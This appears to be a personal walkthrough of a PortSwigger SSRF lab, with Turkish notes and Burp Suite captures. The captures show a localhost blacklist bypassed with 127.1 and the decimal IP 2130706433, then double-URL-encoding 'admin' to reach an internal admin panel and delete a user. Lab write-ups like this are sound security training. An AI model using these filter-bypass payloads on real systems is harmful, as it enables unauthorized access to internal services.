

Lab: SSRF with blacklist-based input filter

<https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter>

1. Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater.
2. Change the URL in the `stockApi` parameter to `http://127.0.0.1/` and observe that the request is blocked.
3. Bypass the block by changing the URL to: `http://127.1/`
4. Change the URL to `http://127.1/admin` and observe that the URL is blocked again.
5. Obfuscate the "a" by double-URL encoding it to `%2561` to access the admin interface and delete the target user.

The first screenshot shows a request in Burp Suite. The request is a POST to `/product/stock` with a `stockApi` parameter set to `http://127.1/1/`. The response is a 403 Forbidden. The second screenshot shows the same request with the `stockApi` parameter changed to `http://127.1/%25613dmin/1/delete?username=viene`. The response is a 200 OK with HTML content, indicating the user was deleted successfully.

Target: <https://ac151f8e1f1d47adc0d9113100c>

Request

```
1 POST /product/stock HTTP/1.1
2 Host: ac151f8e1f1d47adc0d9113100c10093.web-security-academy.net
3 Cookie: session=vH7cpB0eKb87CephQ15uDBPeSluly78y
4 Content-Length: 25
5 Sec-Ch-Ua: "(Not(A:Brand);v=\"8\", \"Chromium\";v=\"99\"
6 Sec-Ch-Ua-Mobile: 70
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
8 like Gecko) Chrome/99.0.4
9 Content-Type: application/x-www-form-urlencoded
10 Accept: */*
11 Origin: https://ac151f8e1f1d47adc0d9113100c10093.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://ac151f8e1f1d47adc0d9113100c10093.web-security-academy.net/product?product
16 Id=2
17 Accept-Encoding: gzip, deflate
18 Accept-Language: tr-TR, tr;q=0.9, en-US;q=0.8, en;q=0.7
19 Connection: close
20 stockApi=http://127.1/1/
```

Response

Web Security Academy SSRF with blacklist-based input filter

LAB Not solved

Back to lab description

Home | Admin panel | My account

WE LIKE TO SHOP

Target: <https://ac151f8e1f1d47adc0d9113100c>

Request

```
1 POST /product/stock HTTP/1.1
2 Host: ac151f8e1f1d47adc0d9113100c10093.web-security-academy.net
3 Cookie: session=vH7cpB0eKb87CephQ15uDBPeSluly78y
4 Content-Length: 36
5 Sec-Ch-Ua: "(Not(A:Brand);v=\"8\", \"Chromium\";v=\"99\"
6 Sec-Ch-Ua-Mobile: 70
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
8 like Gecko) Chrome/99.0.4844.74 Safari/537.36
9 Content-Type: application/x-www-form-urlencoded
10 Accept: */*
11 Origin: https://ac151f8e1f1d47adc0d9113100c10093.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://ac151f8e1f1d47adc0d9113100c10093.web-security-academy.net/product?product
16 Id=2
17 Accept-Encoding: gzip, deflate
18 Accept-Language: tr-TR, tr;q=0.9, en-US;q=0.8, en;q=0.7
19 Connection: close
20 stockApi=http://127.1/%25613dmin/1/delete?username=viene
```

Response

```
<p>
</p>
<a href="/admin">
Admin panel
</a>
<p>
</p>
<a href="/my-account">
My account
</a>
<p>
</p>
</section>
</header>
<header class="notification-header">
</header>
<section>
<p>
User deleted successfully!
</p>
<h1>
Users
</h1>
<div>
<span>
viene -
</span>
<a href="/admin/delete?username=viene">
Delete
</a>
```

Stock api ye <http://127.0.0.1/admin> deniyor başta

Tabi 2 defa a ya encode yapmak çok uç bi örnek ben bunu nerden bileceğim.

Tekrar yapıyorum adım adım

SendCancel<>

Target: https://ac691f6f1e3744a4c0e3291d005c0047.web-security-academy.net

Request

PrettyRawHex

1 POST /product/stock HTTP/1.1
2 Host: ac691f6f1e3744a4c0e3291d005c0047.web-security-academy.net
3 Cookie: session=5m0EpVUhcMHMSqpyzHbba3PuA84h8eTV
4 Content-Length: 26
5 Sec-Ch-Ua: "(Not(A:Brand);v="0", "Chromium";v="99"
6 Sec-Ch-Ua-Mobile: 70
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
8 Sec-Ch-Ua-Platform: "Windows"
9 Content-Type: application/x-www-form-urlencoded
10 Accept: */*
11 Origin: https://ac691f6f1e3744a4c0e3291d005c0047.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://ac691f6f1e3744a4c0e3291d005c0047.web-security-academy.net/product?product
16 Id=1
17 Accept-Encoding: gzip, deflate
18 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
19 Connection: close
20 stockApi=http://127.0.0.1/

Response

PrettyRawHexRender

1 HTTP/1.1 400 Bad Request
2 Content-Type: application/json; charset=utf-8
3 Connection: close
4 Content-Length: 51
5
6 "External stock check blocked for security reasons"

IP-To-Decimal

IP address 127.0.0.1 is equal to 2130706433.

IP Address / IP Number

127.0.0.1

Convert

1 x 6 x 7 x 8 x 9 x ...

SendCancel<>

Target: https://ac691f6f1e3744a4c0e3291d005c0047.web-security-academy.net

Request

PrettyRawHex

1 POST /product/stock HTTP/1.1
2 Host: ac691f6f1e3744a4c0e3291d005c0047.web-security-academy.net
3 Cookie: session=5m0EpVUhcMHMSqpyzHbba3PuA84h8eTV
4 Content-Length: 27
5 Sec-Ch-Ua: "(Not(A:Brand);v="0", "Chromium";v="99"
6 Sec-Ch-Ua-Mobile: 70
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
8 Sec-Ch-Ua-Platform: "Windows"
9 Content-Type: application/x-www-form-urlencoded
10 Accept: */*
11 Origin: https://ac691f6f1e3744a4c0e3291d005c0047.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://ac691f6f1e3744a4c0e3291d005c0047.web-security-academy.net/product?product
16 Id=1
17 Accept-Encoding: gzip, deflate
18 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
19 Connection: close
20 stockApi=http://2130706433/

Response

PrettyRawHexRender

1 HTTP/1.1 403 Forbidden
2 Content-Type: text/html; charset=utf-8
3 Connection: close
4 Content-Length: 109
5
6 <html>
7 <head>
8 <title>
9 Client Error: Forbidden
10 </title>
11 </head>
12 <body>
13 <h1>
14 Client Error: Forbidden
15 </h1>
16 </body>
17 </html>

İlk korumayı atlattık 127.0.0.1 i decimal kodlamışlar

Request

PrettyRawHex

1 POST /product/stock HTTP/1.1
2 Host: ac691f6f1e3744a4c0e3291d005c0047.web-security-academy.net
3 Cookie: session=9m0RpVUhcMHMSqvyxHhbm3PuA@4h8eTV
4 Content-Length: 32
5 Sec-Ch-Ua: "(Not A:Brand";v="8", "Chromium";v="59"
6 Sec-Ch-Ua-Mobile: ?0
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.4844.74 Safari/537.36
8 Sec-Ch-Ua-Platform: "Windows"
9 Content-Type: application/x-www-form-urlencoded
10 Accept: */*
11 Origin: https://ac691f6f1e3744a4c0e3291d005c0047.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://ac691f6f1e3744a4c0e3291d005c0047.web-security-academy.net/product?productId=1
16 Accept-Encoding: gzip, deflate
17 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
18 Connection: close
19
20 stockApi=http://2130706433/admin

Response

PrettyRawHexRender

1 HTTP/1.1 400 Bad Request
2 Content-Type: application/json; charset=utf-8
3 Connection: close
4 Content-Length: 51
5
6 "External stock check blocked for security reasons"

Bakıyorum tekrar koruma var

admin

%61%64%6d%69%6e

%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

TextHex?

Decode as ...

Encode as ...

Hash ...

Smart decode

TextHex

Decode as ...

Encode as ...

Hash ...

Smart decode

TextHex

Decode as ...

Encode as ...

Hash ...

Smart decode

admini 2 defa url encoda sokuyorum en sonuncusunu alıyorum en mantıklı kombinasyon bu.

stockApi=http://2130706433/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65/delete?user=carlos

bununla çözülüyor.